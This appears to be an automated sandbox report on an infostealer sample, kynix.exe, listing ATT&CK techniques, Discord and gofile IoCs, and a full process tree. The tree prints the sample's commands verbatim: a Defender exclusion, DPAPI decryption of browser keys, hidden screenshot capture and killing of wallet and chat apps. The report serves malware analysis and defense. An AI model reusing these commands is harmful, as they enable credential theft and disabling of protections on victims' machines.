762a4c3e622b245c2158ec072d24883608b30b1ca6f9ccaf187c50df2dfff9d1

Analysis

max time kernel
150s
max time network
133s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/07/2026, 03:49

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
kynix.exe
Size 43.2MB
Sample260718-edbdzaft7m
SHA256 762a4c3e622b245c2158ec072d24883608b30b1ca6f9ccaf187c50df2dfff9d1
MD5 58e89828f07b7ccd2035121fdfbea534
SHA1 394b02f2fe975ca72e376eb0eac025c657e18a5f
SHA512 a5ea177f5977dc0b5da5d37eafd45ab1012d79bc7dba4a5068a84f4148d52b24b559d5a1e04badadd1cb27bcb4dc596bacb488cbe7299503b9e380b57e1d2c47
SSDEEP 393216:f1Du8BtuBw2FEL3Z3aLUoQvo6LP/SgbSpYvKEh1EdKwlGQKPJuGsiTfREsrgCYfF:fMguj8Q4VfveqFTrYd
TLSH
T111A78C0773EA01A5E5B3E1388AA74103D773B4675731CBDB329D02552FABAE09A7E710
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4600	powershell.exe
2148	powershell.exe
6132	powershell.exe
1592	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
5028	netsh.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Contacts third-party web service commonly abused for C2 1 TTPs 6 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
1	api.gofile.io
6	discord.com
10	api.gofile.io
13	discord.com
15	discord.com

Drops desktop.ini file(s) 6 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\2176f87838745b1d\output\Grabbed_Files\Desktop\desktop.ini	kynix.exe
File created	C:\Users\Admin\AppData\Local\2176f87838745b1d\output\Grabbed_Files\Downloads\desktop.ini	kynix.exe
File created	C:\Users\Admin\AppData\Local\2176f87838745b1d\output\Grabbed_Files\Documents\desktop.ini	kynix.exe
File opened for modification	C:\Users\Admin\AppData\Local\2176f87838745b1d\output\Grabbed_Files\Desktop\desktop.ini	kynix.exe
File opened for modification	C:\Users\Admin\AppData\Local\2176f87838745b1d\output\Grabbed_Files\Documents\desktop.ini	kynix.exe
File opened for modification	C:\Users\Admin\AppData\Local\2176f87838745b1d\output\Grabbed_Files\Downloads\desktop.ini	kynix.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ipinfo.io
12	ipinfo.io

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
3308	cscript.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 16 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3568	cmd.exe
560	cmd.exe
1532	cmd.exe
4336	cmd.exe
1764	cmd.exe
4540	cmd.exe
5988	cmd.exe
5460	cmd.exe
1960	cmd.exe
1596	cmd.exe
4252	cmd.exe
4672	cmd.exe
5928	cmd.exe
3124	cmd.exe
2372	cmd.exe
1912	cmd.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	kynix.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	kynix.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	kynix.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	kynix.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	kynix.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	kynix.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	kynix.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	kynix.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	kynix.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	kynix.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	kynix.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	kynix.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	kynix.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	kynix.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	kynix.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	kynix.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	kynix.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	kynix.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	kynix.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	kynix.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	kynix.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	kynix.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	kynix.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	kynix.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4500	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3828	systeminfo.exe

Kills process with taskkill 4 IoCs

defense_evasion

pid	Process
3252	taskkill.exe
4564	taskkill.exe
3196	taskkill.exe
4292	taskkill.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4312	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
1736	WMIC.exe
1736	WMIC.exe
1736	WMIC.exe
1736	WMIC.exe
2360	kynix.exe
2360	kynix.exe
2148	powershell.exe
2148	powershell.exe
2148	powershell.exe
6132	powershell.exe
6132	powershell.exe
6132	powershell.exe
1592	powershell.exe
1592	powershell.exe
1592	powershell.exe
2360	kynix.exe
4600	powershell.exe
4600	powershell.exe
4600	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1736	WMIC.exe
Token: SeSecurityPrivilege	1736	WMIC.exe
Token: SeTakeOwnershipPrivilege	1736	WMIC.exe
Token: SeLoadDriverPrivilege	1736	WMIC.exe
Token: SeSystemProfilePrivilege	1736	WMIC.exe
Token: SeSystemtimePrivilege	1736	WMIC.exe
Token: SeProfSingleProcessPrivilege	1736	WMIC.exe
Token: SeIncBasePriorityPrivilege	1736	WMIC.exe
Token: SeCreatePagefilePrivilege	1736	WMIC.exe
Token: SeBackupPrivilege	1736	WMIC.exe
Token: SeRestorePrivilege	1736	WMIC.exe
Token: SeShutdownPrivilege	1736	WMIC.exe
Token: SeDebugPrivilege	1736	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1736	WMIC.exe
Token: SeRemoteShutdownPrivilege	1736	WMIC.exe
Token: SeUndockPrivilege	1736	WMIC.exe
Token: SeManageVolumePrivilege	1736	WMIC.exe
Token: 33	1736	WMIC.exe
Token: 34	1736	WMIC.exe
Token: 35	1736	WMIC.exe
Token: 36	1736	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1736	WMIC.exe
Token: SeSecurityPrivilege	1736	WMIC.exe
Token: SeTakeOwnershipPrivilege	1736	WMIC.exe
Token: SeLoadDriverPrivilege	1736	WMIC.exe
Token: SeSystemProfilePrivilege	1736	WMIC.exe
Token: SeSystemtimePrivilege	1736	WMIC.exe
Token: SeProfSingleProcessPrivilege	1736	WMIC.exe
Token: SeIncBasePriorityPrivilege	1736	WMIC.exe
Token: SeCreatePagefilePrivilege	1736	WMIC.exe
Token: SeBackupPrivilege	1736	WMIC.exe
Token: SeRestorePrivilege	1736	WMIC.exe
Token: SeShutdownPrivilege	1736	WMIC.exe
Token: SeDebugPrivilege	1736	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1736	WMIC.exe
Token: SeRemoteShutdownPrivilege	1736	WMIC.exe
Token: SeUndockPrivilege	1736	WMIC.exe
Token: SeManageVolumePrivilege	1736	WMIC.exe
Token: 33	1736	WMIC.exe
Token: 34	1736	WMIC.exe
Token: 35	1736	WMIC.exe
Token: 36	1736	WMIC.exe
Token: SeDebugPrivilege	2148	powershell.exe
Token: SeIncreaseQuotaPrivilege	2148	powershell.exe
Token: SeSecurityPrivilege	2148	powershell.exe
Token: SeTakeOwnershipPrivilege	2148	powershell.exe
Token: SeLoadDriverPrivilege	2148	powershell.exe
Token: SeSystemProfilePrivilege	2148	powershell.exe
Token: SeSystemtimePrivilege	2148	powershell.exe
Token: SeProfSingleProcessPrivilege	2148	powershell.exe
Token: SeIncBasePriorityPrivilege	2148	powershell.exe
Token: SeCreatePagefilePrivilege	2148	powershell.exe
Token: SeBackupPrivilege	2148	powershell.exe
Token: SeRestorePrivilege	2148	powershell.exe
Token: SeShutdownPrivilege	2148	powershell.exe
Token: SeDebugPrivilege	2148	powershell.exe
Token: SeSystemEnvironmentPrivilege	2148	powershell.exe
Token: SeRemoteShutdownPrivilege	2148	powershell.exe
Token: SeUndockPrivilege	2148	powershell.exe
Token: SeManageVolumePrivilege	2148	powershell.exe
Token: 33	2148	powershell.exe
Token: 34	2148	powershell.exe
Token: 35	2148	powershell.exe
Token: 36	2148	powershell.exe

Suspicious use of WriteProcessMemory 35 IoCs

description	pid	Process	procid_target
PID 5076 wrote to memory of 2360	5076	kynix.exe	90
PID 2360 wrote to memory of 5460	2360	kynix.exe	91
PID 5460 wrote to memory of 2760	5460	cmd.exe	93
PID 2760 wrote to memory of 4600	2760	net.exe	94
PID 2360 wrote to memory of 560	2360	kynix.exe	95
PID 560 wrote to memory of 5028	560	cmd.exe	97
PID 2360 wrote to memory of 4672	2360	kynix.exe	98
PID 4672 wrote to memory of 1736	4672	cmd.exe	100
PID 2360 wrote to memory of 1532	2360	kynix.exe	101
PID 1532 wrote to memory of 4312	1532	cmd.exe	103
PID 2360 wrote to memory of 5928	2360	kynix.exe	104
PID 5928 wrote to memory of 4500	5928	cmd.exe	106
PID 2360 wrote to memory of 4336	2360	kynix.exe	107
PID 4336 wrote to memory of 3828	4336	cmd.exe	109
PID 2360 wrote to memory of 3124	2360	kynix.exe	111
PID 3124 wrote to memory of 3308	3124	cmd.exe	113
PID 2360 wrote to memory of 1764	2360	kynix.exe	115
PID 1764 wrote to memory of 2036	1764	cmd.exe	117
PID 2036 wrote to memory of 4296	2036	net.exe	118
PID 2360 wrote to memory of 1912	2360	kynix.exe	119
PID 1912 wrote to memory of 2148	1912	cmd.exe	121
PID 2360 wrote to memory of 4540	2360	kynix.exe	123
PID 4540 wrote to memory of 3252	4540	cmd.exe	125
PID 2360 wrote to memory of 1960	2360	kynix.exe	126
PID 1960 wrote to memory of 4564	1960	cmd.exe	128
PID 2360 wrote to memory of 3568	2360	kynix.exe	129
PID 2360 wrote to memory of 1596	2360	kynix.exe	131
PID 2360 wrote to memory of 4252	2360	kynix.exe	132
PID 3568 wrote to memory of 3196	3568	cmd.exe	135
PID 4252 wrote to memory of 6132	4252	cmd.exe	136
PID 1596 wrote to memory of 1592	1596	cmd.exe	137
PID 2360 wrote to memory of 2372	2360	kynix.exe	138
PID 2372 wrote to memory of 4600	2372	cmd.exe	140
PID 2360 wrote to memory of 5988	2360	kynix.exe	141
PID 5988 wrote to memory of 4292	5988	cmd.exe	143

C:\Users\Admin\AppData\Local\Temp\kynix.exe
"C:\Users\Admin\AppData\Local\Temp\kynix.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5076
- C:\Users\Admin\AppData\Local\Temp\kynix.exe
  C:\Users\Admin\AppData\Local\Temp\kynix.exe C:\snapshot\Kynix_Bot\builds\b7fddf42\kynix.js --hidden
  2⤵
  - Drops desktop.ini file(s)
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5460
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2760
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:4600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh advfirewall show allprofiles state"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:560
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall show allprofiles state
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:5028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4672
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1532
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
      4⤵
      Modifies registry key
      PID:4312
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "ipconfig /all"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5928
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /all
      4⤵
      Gathers network information
      PID:4500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "systeminfo"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4336
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:3828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1784346583111.vbs""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3124
  - - C:\Windows\system32\cscript.exe
      cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1784346583111.vbs"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:3308
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1764
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2036
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:4296
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\system32os' -Force""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1912
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\system32os' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4540
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM Steam.exe /F
      4⤵
      Kills process with taskkill
      PID:3252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM javaw.exe /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1960
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM javaw.exe /F
      4⤵
      Kills process with taskkill
      PID:4564
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Exodus.exe /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3568
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM Exodus.exe /F
      4⤵
      Kills process with taskkill
      PID:3196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAU5J5VJphQU6R8y8lVs5quRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAArJAsbWtamN955B0lfUHwXcB/FRzXdYbBXo56MnbYZiAAAAAA6AAAAAAgAAIAAAAKn4Fpfp5wcJY5Fvw4nwoMS9qcSthPigZNIFZE/UbRACMAAAAKk55ATP/HGLElZ09+rht7jpPY5YpsyFqBcXTaPq6MVSMAlwU9AGcCTO5R4+lyJQbkAAAAAQHsgVeHYsMO3hU441G63UZpKlAeE4gMc8R6sgc9K+CRPVPuOBVlGdlO9t6QLCGEzKk7RqsQJtC8HF2DenFGIw');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1596
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAU5J5VJphQU6R8y8lVs5quRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAArJAsbWtamN955B0lfUHwXcB/FRzXdYbBXo56MnbYZiAAAAAA6AAAAAAgAAIAAAAKn4Fpfp5wcJY5Fvw4nwoMS9qcSthPigZNIFZE/UbRACMAAAAKk55ATP/HGLElZ09+rht7jpPY5YpsyFqBcXTaPq6MVSMAlwU9AGcCTO5R4+lyJQbkAAAAAQHsgVeHYsMO3hU441G63UZpKlAeE4gMc8R6sgc9K+CRPVPuOBVlGdlO9t6QLCGEzKk7RqsQJtC8HF2DenFGIw');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1592
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAU5J5VJphQU6R8y8lVs5quRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAk+VBfqZL60NKN/n7LIVYeBadi5G/ws0vRKBi+nLcygYAAAAADoAAAAACAAAgAAAAZlJgsQ4QJT++2NMTEkLZs3jO4ks8aDbwElIp8Map+d4wAAAAoOwTIySKxXb9kcwD6IkA5jh55SWNxILFHzYXNy7SkicXnjRgd5A+ZSKa1eWnMOk2QAAAALAIAEP5Wb8oazEkIU7aC940bJasQAkT/7mmTAUWI4yjPSZotI35NiNkVsXkd4ozI1PaGOa1hJnOKJ3oU2ByjkA=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4252
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAU5J5VJphQU6R8y8lVs5quRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAk+VBfqZL60NKN/n7LIVYeBadi5G/ws0vRKBi+nLcygYAAAAADoAAAAACAAAgAAAAZlJgsQ4QJT++2NMTEkLZs3jO4ks8aDbwElIp8Map+d4wAAAAoOwTIySKxXb9kcwD6IkA5jh55SWNxILFHzYXNy7SkicXnjRgd5A+ZSKa1eWnMOk2QAAAALAIAEP5Wb8oazEkIU7aC940bJasQAkT/7mmTAUWI4yjPSZotI35NiNkVsXkd4ozI1PaGOa1hJnOKJ3oU2ByjkA=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:6132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2372
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Telegram.exe /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5988
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM Telegram.exe /F
      4⤵
      Kills process with taskkill
      PID:4292

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

yb5koe8bhd.zip

Path C:\Users\Admin\AppData\Local\2176f87838745b1d\yb5koe8bhd.zip
Size 9.1MB
SHA256 aec9d6b1a79ed91535eae45b92cdac6da07f2c476de52e3193c16bd992be51c8
MD5 a1ca5b2eae199d31036bb41261566133
SHA1 1d52c97a85696ba71d7a356ecf006963807ec38e
SHA512 246c3027b6aa78d9aa9c562a348e670704d00777d6cc691396195fbd0a8df6ebfbae13562293c5be2a9ca498e6ef4cce107ea0a49930d2dcd237a7ad5d4427da
SSDEEP 196608:/drM3EaVE2PBnMHHXsNKpPELUJC+1y0ibOosx3nKDv23:/LaKwBMXs4NE1yy0ibM3+vu
TLSH
T14FA63360780427D097D5B1D07721F688335BEA2B7EA731CA3F0D6B8E56ED68E5213E12
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a976a31824c3a0cc2a6b0fd9ec6045c398d82990e5e96df2ad86ba09a9b05be5
MD5 66f9b690d4e5313231bc173ce7b2c029
SHA1 b0dbce2f97d8ca067ddde29c06272e56e38fa195
SHA512 8f0c4c220fc64928778bf68c853246126b44f40fcdc99aa2fdaa491797ce02783c8776fdd7bd3154544336f0466000a8b92c740ed0d0df75b8a6990da450650e
TLSH
T158216833B3DD8614C89A413A10CDAC1036B6C7DB41DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 48221b5ad9d3faca4f8684b6188e393297bc2b4af51e6d025e1cf638e469352b
MD5 dbb4f696dac66aad9f156cd998066dfa
SHA1 1e3999fcd226c561e98c5161866be22afb45074f
SHA512 f5a863f99bfbbc5347c18cf7bd0df7f7b88e6f99b1be764553de16ad93e7dbab684f5be74f4d35d27f3aa11e6c3160d960fd4677ac71b23f9afdf2746c264c09
TLSH
T1B721AF33F3CC8654DC4A403654CEAC0136B6CBD7409ECEAB6B85D118F43F288DEA1160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_gy1eyktg.40y.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gy1eyktg.40y.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
